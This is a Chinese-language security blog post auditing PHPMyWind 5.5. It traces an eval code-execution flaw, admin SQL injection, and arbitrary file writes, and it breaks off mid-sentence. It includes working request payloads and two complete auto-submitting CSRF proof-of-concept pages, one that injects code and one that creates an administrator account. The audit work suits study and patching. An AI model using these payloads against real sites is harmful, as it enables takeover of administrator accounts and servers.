这是2018年最后一篇文章了,写文章成了一种习惯,2019加油!

有限制的代码执行漏洞

这个漏洞呢在很久以前乌云上就被人提起,但是貌似一直没有修复。

平时有空刷一刷乌云上的代码审计文章能学到不少东西的,一些姿势可能是一点就明白,但是如果没有了解过,自己可能需要很长时间去发现,当你看到一些有趣的姿势,再想想自己在审的有没有可能存在同样的情况。

首先找到的入口点在common.func.php第554-559行

1
2
3
4
5
6
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}

如果没有经过任何处理传入进来的话很明显的一个代码执行漏洞。

然后全局搜一下调用的地方

只有两处调用的地方,来看第一处,搜索表名

找到几处,跟进一处

goods_save.php第103-117行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(is_array($attrid) && is_array($attrvalue))
{
//组成商品属性与值
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}

可以看到attrstr是以数组形式存储的,往上走,发现$attridattrvalue并没有进行任何处理。

这两个字段都可以

触发的地方就两处

CSRF突破屏障

1
classid=12&typeid=10&brandid=-1&title=test&colorval=&boldval=&attrvalue%5B%5D=1&attrid%5B%5D=1%7C%7B%24%7Bphpinfo%28%29%7D%7D&attrvalue%5B%5D=1&attrid%5B%5D=2&payfreight=1&marketprice=1&salesprice=1&goodsid=121&weight=1&housenum=&housewarn=false&warnnum=&integral=0&source=&author=p0desta1&picurl=&linkurl=&keywords=&description=&content=&autodescsize=200&autopagesize=5&hits=157&orderid=2&posttime=2018-12-27+18%3A10%3A54&checkinfo=true&action=add&cid=

所有字段,并没有进行csrf防护,用burp生成一个csrf攻击poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.test.com/phpmywind_5.5/admin/goods_save.php" method="POST" id="test">
<input type="hidden" name="classid" value="12" />
<input type="hidden" name="typeid" value="10" />
<input type="hidden" name="brandid" value="&#45;1" />
<input type="hidden" name="title" value="test" />
<input type="hidden" name="colorval" value="" />
<input type="hidden" name="boldval" value="" />
<input type="hidden" name="attrvalue&#91;&#93;" value="1" />
<input type="hidden" name="attrid&#91;&#93;" value="1&#124;&#123;&#36;&#123;phpinfo&#40;&#41;&#125;&#125;" />
<input type="hidden" name="attrvalue&#91;&#93;" value="1" />
<input type="hidden" name="attrid&#91;&#93;" value="2" />
<input type="hidden" name="payfreight" value="1" />
<input type="hidden" name="marketprice" value="1" />
<input type="hidden" name="salesprice" value="1" />
<input type="hidden" name="goodsid" value="121" />
<input type="hidden" name="weight" value="1" />
<input type="hidden" name="housenum" value="" />
<input type="hidden" name="housewarn" value="false" />
<input type="hidden" name="warnnum" value="" />
<input type="hidden" name="integral" value="0" />
<input type="hidden" name="source" value="" />
<input type="hidden" name="author" value="p0desta1" />
<input type="hidden" name="picurl" value="" />
<input type="hidden" name="linkurl" value="" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="content" value="" />
<input type="hidden" name="autodescsize" value="200" />
<input type="hidden" name="autopagesize" value="5" />
<input type="hidden" name="hits" value="157" />
<input type="hidden" name="orderid" value="3" />
<input type="hidden" name="posttime" value="2018&#45;12&#45;27&#32;18&#58;10&#58;54" />
<input type="hidden" name="checkinfo" value="true" />
<input type="hidden" name="action" value="add" />
<input type="hidden" name="cid" value="" />
</form>
<script>document.getElementById("test").submit();</script>
</body>
</html>

发送给管理员,当管理员访问后,直接在前台拿到shell了。

当然,CSRF添加管理员也是同样的事情,但是既然都需要借助CSRF,能直接getshell就没必要多此一举了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.test.com/phpmywind_5.5/admin/admin_save.php" method="POST">
<input type="hidden" name="username" value="p0desta2" />
<input type="hidden" name="password" value="p0desta2" />
<input type="hidden" name="repassword" value="p0desta2" />
<input type="hidden" name="question" value="0" />
<input type="hidden" name="answer" value="" />
<input type="hidden" name="nickname" value="" />
<input type="hidden" name="levelname" value="1" />
<input type="hidden" name="checkadmin" value="true" />
<input type="hidden" name="action" value="add" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

后台鸡肋的SQL注入

1
2
3
4
5
case 'delall':
$sql = "DELETE FROM `$tbname` WHERE id IN ($ids)";
die($sql);
$dosql->ExecNoneQuery($sql);
break;

后台代码有多处类似这样的,id等参数都做了很好的防护,但是多处in后的参数没做处理。

构造payload

1
admin/ajax_do.php?action=delall&ids=1) and (select 1)=(1&type=goodsattr

后台任意文件写入

一般cms都会写一个文件写入的函数,如果这个函数里面没有限制的话就全局搜索调用这个函数的地方,然后跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Writef($file,$str,$mode='w')
{
if(file_exists($file) && is_writable($file))
{
$fp = fopen($file, $mode);
flock($fp, 3);
fwrite($fp, $str);
fclose($fp);
return TRUE;
}
else if(!file_exists($file))
{
$fp = fopen($file, $mode);
flock($fp, 3);
fwrite($fp, $str);
fclose($fp);
}
else
{
return FALSE;
}
}

这里可以找到,只要参数可控即可

调用的点不多,而且基本都是后台的,首先看第一处

1
2
3
4
5
6
7
8
9
10
11
12
13
if($action == 'updataauth')
{
$fdir = PHPMYWIND_DATA.'/cache/auth/';
$fname = 'auth_'.$cfg_auth_key.'.php';
//die($jsonStr);
//是否存在缓存
Writef($fdir.$fname, $jsonStr);
echo TRUE;
exit();
}

那么直接

1
admin/ajax_do.php?action=updataauth&jsonStr=<?php phpinfo();?>

看到命名$fname = 'auth_'.$cfg_auth_key.'.php';

1
$cfg_auth_key.

可以在后台的

获取

继续看第二处database_done.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if($conftb == 1)
{
//生成全局配置文件
$config_cache = PHPMYWIND_INC.'/config.cache.php';
$str = '<?php if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER BY orderid ASC");
while($row = $dosql->GetArray())
{
//强制去掉 '
//强制去掉最后一位 /
$vartmp = str_replace("'",'',$row['varvalue']);
if(substr($vartmp, -1) == '\\')
{
$vartmp = substr($vartmp,1,-1);
}
if($row['vartype'] == 'number')
{
if($row['varvalue'] == '')
{
$vartmp = 0;
}
$str .= "\${$row['varname']} = ".$vartmp.";\r\n";
}
else
{
$str .= "\${$row['varname']} = '".$vartmp."';\r\n";
}
}
$str .= '?>';
Writef($config_cache,$str);
}

看它的逻辑

1
$vartmp = str_replace("'",'',$row['varvalue']);

开头直接将所有单引号替换掉了,如果以下写入的时候都在单引号里面是不会出现问题的,但是

1
2
3
4
5
6
7
8
9
if($row['vartype'] == 'number')
{
if($row['varvalue'] == '')
{
$vartmp = 0;
}
$str .= "\${$row['varname']} = ".$vartmp.";\r\n";
}

如果vartype==number就没有,它是从数据库中取出的,找一下写入的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if($action == 'add')
{
if($varname == '' || preg_match('/[^a-z_]/', $varname))
{
ShowMsg('变量名不能为空并必须为[a-z_]组成!', $gourl);
exit();
}
//链接前缀
$varname = 'cfg_'.$varname;
if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))
{
ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);
exit();
}
if($dosql->GetOne("SELECT `varname` FROM `#@__webconfig` WHERE varname='$varname'"))
{
ShowMsg('该变量名称已经存在!', $gourl);
exit();
}
//获取OrderID
$row = $dosql->GetOne("SELECT MAX(orderid) AS orderid FROM `#@__webconfig`");
$orderid = $row['orderid'] + 1;
$sql = "INSERT INTO `#@__webconfig` (siteid, varname, varinfo, varvalue, vartype, vargroup, orderid) VALUES ('$cfg_siteid', '$varname', '$varinfo', '$varvalue', '$vartype', '$vargroup', '$orderid')";
if(!$dosql->ExecNoneQuery($sql))
{
ShowMsg('新增变量失败,可能有非法字符!', $gourl);
exit();
}
WriteConfig();
ShowMsg('成功保存变量并更新配置文件!', $gourl);
exit();
}

发现

1
2
3
4
5
if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))
{
ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);
exit();
}

它对布尔类型做了限制,却没有多复制几行代码对number进制限制。

那么